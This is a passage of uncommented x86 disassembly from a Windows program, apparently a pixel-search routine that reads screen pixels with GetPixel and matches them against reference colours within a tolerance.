mov eax, dword [eax + 0x4488]
dec eax
sub eax, edx
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4484]
lea edx, [edx + edx*2]
add edx, dword [ebp - 0x1f8]
imul edx
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
jl 0x54500e
mov eax, dword [ebp - 0x1f4]
cdq
push edx
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44b4]
xor edx, edx
cmp edx, dword [esp + 4]
jne 0x54500a
cmp eax, dword [esp]
pop edx
pop eax
jae 0x54501b
jmp 0x54500e
pop edx
pop eax
jge 0x54501b
xor eax, eax
mov dword [ebp - 0x1f4], eax
jmp 0x545360
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
add dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x2b0], eax
xor eax, eax
push ebp
push 0x54507e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x2b0]
movzx eax, byte [eax]
shl eax, 0x10
mov edx, dword [ebp - 0x2b0]
movzx edx, byte [edx + 1]
shl edx, 8
add eax, edx
mov edx, dword [ebp - 0x2b0]
movzx edx, byte [edx + 2]
add eax, edx
mov dword [ebp - 0x124], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54511a
cmp byte [ebp - 0x35], 0
je 0x545335
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff00
shr eax, 8
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff0000
shr eax, 0x10
mov dword [ebp - 0x20c], eax
mov eax, dword [ebp - 0x2b0]
movzx eax, byte [eax + 2]
xor edx, edx
mov dl, byte [ebp - 0xb9]
sub eax, edx
test eax, eax
jle 0x5451b8
mov eax, dword [ebp - 0x2b0]
mov al, byte [eax + 2]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx], al
jmp 0x5451be
mov eax, dword [ebp - 4]
mov byte [eax], 0
mov eax, dword [ebp - 0x2b0]
movzx eax, byte [eax + 2]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x5451f0
mov eax, dword [ebp - 0x2b0]
mov al, byte [eax + 2]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 1], al
jmp 0x5451f7
mov eax, dword [ebp - 4]
mov byte [eax + 1], 0xff
mov eax, dword [ebp - 0x2b0]
movzx eax, byte [eax + 1]
xor edx, edx
mov dl, byte [ebp - 0xb9]
sub eax, edx
test eax, eax
jle 0x545226
mov eax, dword [ebp - 0x2b0]
mov al, byte [eax + 1]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 2], al
jmp 0x54522d
mov eax, dword [ebp - 4]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x2b0]
movzx eax, byte [eax + 1]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x54525f
mov eax, dword [ebp - 0x2b0]
mov al, byte [eax + 1]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 3], al
jmp 0x545266
mov eax, dword [ebp - 4]
mov byte [eax + 3], 0xff
mov eax, dword [ebp - 0x2b0]
movzx eax, byte [eax]
xor edx, edx
mov dl, byte [ebp - 0xb9]
sub eax, edx
test eax, eax
jle 0x545293
mov eax, dword [ebp - 0x2b0]
mov al, byte [eax]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 4], al
jmp 0x54529a
mov eax, dword [ebp - 4]
mov byte [eax + 4], 0
mov eax, dword [ebp - 0x2b0]
movzx eax, byte [eax]
xor edx, edx
mov dl, byte [ebp - 0xb9]
add eax, edx
cmp eax, 0xff
jae 0x5452ca
mov eax, dword [ebp - 0x2b0]
mov al, byte [eax]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 5], al
jmp 0x5452d1
mov eax, dword [ebp - 4]
mov byte [eax + 5], 0xff
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
cmp eax, dword [ebp - 0x204]
jg 0x54532a
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 1]
cmp eax, dword [ebp - 0x204]
jl 0x54532a
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 2]
cmp eax, dword [ebp - 0x208]
jg 0x54532a
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 3]
cmp eax, dword [ebp - 0x208]
jl 0x54532a
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 4]
cmp eax, dword [ebp - 0x20c]
jg 0x54532a
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 5]
cmp eax, dword [ebp - 0x20c]
jge 0x54532e
xor eax, eax
jmp 0x545330
mov al, 1
mov byte [ebp - 0x37], al
jmp 0x545354
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
cmp eax, dword [ebp - 0x124]
sete byte [ebp - 0x37]
cmp byte [ebp - 0x37], 0
je 0x545360
inc dword [ebp - 0x128]
inc dword [ebp - 0x120]
dec dword [ebp - 0x2a4]
jne 0x544ea1
imul eax, dword [ebp - 0x128], 0x64
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + 0x44c8]
cdq
idiv ecx
cmp eax, dword [ebp - 0x40]
jl 0x54539d
mov byte [ebp - 0x36], 1
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x128]
mov dword [eax + 0x449c], edx
cmp byte [ebp - 0x36], 0
je 0x5458f8
cmp byte [ebp - 0x13d], 0
je 0x5456b1
lea eax, [ebp - 0x79c]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.user32.dll_GetWindowRect
cmp byte [ebp - 0x10d], 0
jne 0x5453e3
lea eax, [ebp - 0x79c]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.user32.dll_ScreenToClient
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
jne 0x545459
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x44e0], 0
je 0x54540c
mov eax, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x12c], eax
jmp 0x545415
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4498]
mov edx, dword [edx]
sub eax, dword [edx]
add eax, dword [ebp - 0x79c]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov edx, dword [ebp - 0x12c]
sub edx, dword [eax + 4]
add edx, dword [ebp - 0x798]
mov dword [ebp - 0x12c], edx
jmp 0x5454c1
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x44e0], 0
je 0x545470
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x12c], eax
jmp 0x54547f
mov eax, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov edx, dword [ebp - 0x14]
sub edx, dword [eax]
add edx, dword [ebp - 0x79c]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x130], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov edx, dword [ebp - 0x12c]
sub edx, dword [eax + 4]
add edx, dword [ebp - 0x798]
add edx, dword [ebp - 8]
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0xf8]
jl 0x5458f8
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0xf4]
jl 0x5458f8
mov dword [ebp - 0x84], 1
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10467c]
add eax, dword [ebp - 0x130]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 2
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0x12c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 3
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10467c]
add eax, dword [ebp - 0x130]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x4474]
dec eax
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x4478]
dec eax
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 5
imul eax, dword [ebp - 0x128], 0x64
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + 0x44c8]
cdq
idiv ecx
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
dec dword [ebp - 0x3c]
jmp 0x5458f8
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4498]
mov edx, dword [edx]
sub eax, dword [edx]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x44e0], 0
je 0x5456f8
mov eax, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x4498]
mov edx, dword [edx]
sub eax, dword [edx + 4]
mov dword [ebp - 0x12c], eax
jmp 0x54570f
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov edx, dword [ebp - 0x28]
sub edx, dword [eax + 4]
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0xf8]
jl 0x5458f8
mov eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0xf4]
jl 0x5458f8
mov dword [ebp - 0x84], 1
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10467c]
add eax, dword [ebp - 0x130]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 2
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0x12c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 3
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10467c]
add eax, dword [ebp - 0x130]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x4474]
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x4478]
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 5
imul eax, dword [ebp - 0x128], 0x64
mov edx, dword [ebp - 0x18]
mov ecx, dword [edx + 0x44c8]
cdq
idiv ecx
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
dec dword [ebp - 0x3c]
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xe8]
jge 0x545910
cmp dword [ebp - 0x3c], 0
jne 0x544b28
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
je 0x545921
inc dword [ebp - 0x28]
jmp 0x545924
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0
jl 0x54593f
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xe4]
jge 0x54593f
cmp dword [ebp - 0x3c], 0
jne 0x544abc
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x1048b5], 0
jne 0x54597d
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x44ac]
push eax
call sub.KERNEL32.DLL_GlobalFree
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x44ac], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
mov dword [ebp - 0x128], eax
jmp 0x5462e7
xor eax, eax
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x28], eax
push 1
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
jmp 0x5462aa
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
je 0x545a05
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x553567
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x14], eax
jmp 0x546291
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x71], 0
je 0x545a4f
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x553567
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x224]
jbe 0x545abb
add dword [ebp - 0x224], 0x64
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bdc], edx
mov dword [ebp - 0x84], 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
call fcn.00405070
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x220]
push eax
call sub.gdi32.dll_GetPixel_1
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x36], 0
cmp byte [ebp - 0x35], 0
je 0x545d27
mov eax, dword [ebp - 0x2c]
and eax, 0xff
mov dword [ebp - 0x1f0], eax
xor eax, eax
mov al, byte [ebp - 0xb9]
mov edx, dword [ebp - 0x1f0]
sub edx, eax
test edx, edx
jle 0x545b15
mov al, byte [ebp - 0x1f0]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx], al
jmp 0x545b1b
mov eax, dword [ebp - 4]
mov byte [eax], 0
xor eax, eax
mov al, byte [ebp - 0xb9]
add eax, dword [ebp - 0x1f0]
cmp eax, 0xff
jge 0x545b44
mov al, byte [ebp - 0x1f0]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 1], al
jmp 0x545b4b
mov eax, dword [ebp - 4]
mov byte [eax + 1], 0xff
mov eax, dword [ebp - 0x2c]
and eax, 0xff00
shr eax, 8
mov dword [ebp - 0x1f0], eax
xor eax, eax
mov al, byte [ebp - 0xb9]
mov edx, dword [ebp - 0x1f0]
sub edx, eax
test edx, edx
jle 0x545b84
mov al, byte [ebp - 0x1f0]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 2], al
jmp 0x545b8b
mov eax, dword [ebp - 4]
mov byte [eax + 2], 0
xor eax, eax
mov al, byte [ebp - 0xb9]
add eax, dword [ebp - 0x1f0]
cmp eax, 0xff
jge 0x545bb4
mov al, byte [ebp - 0x1f0]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 3], al
jmp 0x545bbb
mov eax, dword [ebp - 4]
mov byte [eax + 3], 0xff
mov eax, dword [ebp - 0x2c]
and eax, 0xff0000
shr eax, 0x10
mov dword [ebp - 0x1f0], eax
xor eax, eax
mov al, byte [ebp - 0xb9]
mov edx, dword [ebp - 0x1f0]
sub edx, eax
test edx, edx
jle 0x545bf4
mov al, byte [ebp - 0x1f0]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 4], al
jmp 0x545bfb
mov eax, dword [ebp - 4]
mov byte [eax + 4], 0
xor eax, eax
mov al, byte [ebp - 0xb9]
add eax, dword [ebp - 0x1f0]
cmp eax, 0xff
jge 0x545c24
mov al, byte [ebp - 0x1f0]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 5], al
jmp 0x545c2b
mov eax, dword [ebp - 4]
mov byte [eax + 5], 0xff
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x9c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff
mov edx, dword [ebp - 4]
movzx edx, byte [edx]
cmp eax, edx
jl 0x545d1c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x9c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 1]
cmp eax, edx
jg 0x545d1c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x9c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff00
shr eax, 8
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 2]
cmp eax, edx
jl 0x545d1c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x9c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff00
shr eax, 8
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 3]
cmp eax, edx
jg 0x545d1c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x9c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff0000
shr eax, 0x10
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 4]
cmp eax, edx
jl 0x545d1c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x9c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff0000
shr eax, 0x10
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 5]
cmp eax, edx
jle 0x545d20
xor eax, eax
jmp 0x545d22
mov al, 1
mov byte [ebp - 0x37], al
jmp 0x545d43
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x9c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
cmp eax, dword [ebp - 0x2c]
sete byte [ebp - 0x37]
cmp byte [ebp - 0x37], 0
je 0x54607b
mov dword [ebp - 0x128], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
call fcn.004063e0
dec eax
test eax, eax
jle 0x546058
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x120], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax]
add eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x220]
push eax
call sub.gdi32.dll_GetPixel_1
mov dword [ebp - 0x124], eax
cmp byte [ebp - 0x35], 0
je 0x54601b
mov eax, dword [ebp - 0x124]
and eax, 0xff
mov dword [ebp - 0x1f0], eax
xor eax, eax
mov al, byte [ebp - 0xb9]
mov edx, dword [ebp - 0x1f0]
sub edx, eax
test edx, edx
jle 0x545e03
mov al, byte [ebp - 0x1f0]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx], al
jmp 0x545e09
mov eax, dword [ebp - 4]
mov byte [eax], 0
xor eax, eax
mov al, byte [ebp - 0xb9]
add eax, dword [ebp - 0x1f0]
cmp eax, 0xff
jge 0x545e32
mov al, byte [ebp - 0x1f0]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 1], al
jmp 0x545e39
mov eax, dword [ebp - 4]
mov byte [eax + 1], 0xff
mov eax, dword [ebp - 0x124]
and eax, 0xff00
shr eax, 8
mov dword [ebp - 0x1f0], eax
xor eax, eax
mov al, byte [ebp - 0xb9]
mov edx, dword [ebp - 0x1f0]
sub edx, eax
test edx, edx
jle 0x545e75
mov al, byte [ebp - 0x1f0]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 2], al
jmp 0x545e7c
mov eax, dword [ebp - 4]
mov byte [eax + 2], 0
xor eax, eax
mov al, byte [ebp - 0xb9]
add eax, dword [ebp - 0x1f0]
cmp eax, 0xff
jge 0x545ea5
mov al, byte [ebp - 0x1f0]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 3], al
jmp 0x545eac
mov eax, dword [ebp - 4]
mov byte [eax + 3], 0xff
mov eax, dword [ebp - 0x124]
and eax, 0xff0000
shr eax, 0x10
mov dword [ebp - 0x1f0], eax
xor eax, eax
mov al, byte [ebp - 0xb9]
mov edx, dword [ebp - 0x1f0]
sub edx, eax
test edx, edx
jle 0x545ee8
mov al, byte [ebp - 0x1f0]
sub al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 4], al
jmp 0x545eef
mov eax, dword [ebp - 4]
mov byte [eax + 4], 0
xor eax, eax
mov al, byte [ebp - 0xb9]
add eax, dword [ebp - 0x1f0]
cmp eax, 0xff
jge 0x545f18
mov al, byte [ebp - 0x1f0]
add al, byte [ebp - 0xb9]
mov edx, dword [ebp - 4]
mov byte [edx + 5], al
jmp 0x545f1f
mov eax, dword [ebp - 4]
mov byte [eax + 5], 0xff
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff
mov edx, dword [ebp - 4]
movzx edx, byte [edx]
cmp eax, edx
jl 0x546010
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 1]
cmp eax, edx
jg 0x546010
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff00
shr eax, 8
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 2]
cmp eax, edx
jl 0x546010
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff00
shr eax, 8
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 3]
cmp eax, edx
jg 0x546010
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff0000
shr eax, 0x10
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 4]
cmp eax, edx
jl 0x546010
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
and eax, 0xff0000
shr eax, 0x10
mov edx, dword [ebp - 4]
movzx edx, byte [edx + 5]
cmp eax, edx
jle 0x546014
xor eax, eax
jmp 0x546016
mov al, 1
mov byte [ebp - 0x37], al
jmp 0x54603a
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov edx, dword [ebp - 0x120]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 8]
cmp eax, dword [ebp - 0x124]
sete byte [ebp - 0x37]
cmp byte [ebp - 0x37], 0
je 0x546046
inc dword [ebp - 0x128]
inc dword [ebp - 0x120]
dec dword [ebp - 0x2a4]
jne 0x545d7e
